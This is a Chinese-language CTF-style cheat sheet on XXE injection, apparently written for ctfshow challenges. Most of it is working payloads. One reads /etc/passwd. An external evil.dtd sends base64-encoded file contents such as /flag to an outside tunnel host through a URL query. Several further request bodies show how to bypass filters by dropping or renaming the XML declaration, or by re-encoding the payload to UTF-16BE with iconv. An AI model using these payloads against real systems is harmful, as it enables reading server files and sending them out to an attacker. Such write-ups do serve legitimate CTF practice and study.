外部注入

直接读取文件

payload1

1
2
3
4
5

<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

读取如何外带

在网页下设置evil.dtd,代码如下:

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'https://www-map.u28161.nyat.app:47469/xxe/1.php?data=%data;'>"
>
%all;

在bp里传输数据如下:

1
2
3
4
5
6
7
8
9
10

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "https://www-map.u28161.nyat.app:47469/xxe/evil.dtd">
%dtd;
%send;
]>
<root></root>

被禁用后常见的绕过

一.滤了 <?xml version=”1.0”

1.不写XML声明绕过

payload:

evil.dtd同上,bp传递数据如下:

1
2
3
4
5
6
7
8
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "https://www-map.u28161.nyat.app:47469/xxe/evil.dtd">
%dtd;
%send;
]>
<root></root>

2.在xml后面多加个空格绕过

bp里数据如下:

1
2
3
4
5
6
7
8
9
10

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "https://www-map.u28161.nyat.app:47469/xxe/evil.dtd">
%dtd;
%send;
]>
<root></root>

3.把xml改成其他你喜欢的东西

1
2
3
4
5
6
7
8
9
<?fuck   version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "https://www-map.u28161.nyat.app:47469/xxe/evil.dtd">
%dtd;
%send;
]>
<root></root>

二. 过滤了http协议

1.使用 UTF-16 编码绕过

payload.xml文件内容:

1
2
3
4
5
6
7
8
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "https://www-map.u28161.nyat.app:47469/xxe/evil.dtd">
%dtd;
%send;
]>
<root></root>

第一步,在linux坏境下使用指令cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml。

第二步,在burp里面输入文件标识<?fuck version="1.0" encoding="UTF-16BE" ?>

第三步,bp,在请求框里右键,点击从文件粘贴(注意,必须从文件粘贴,不能直接复制粘贴,不然格式会乱从而无法识别)

第四步,发送请求,成功(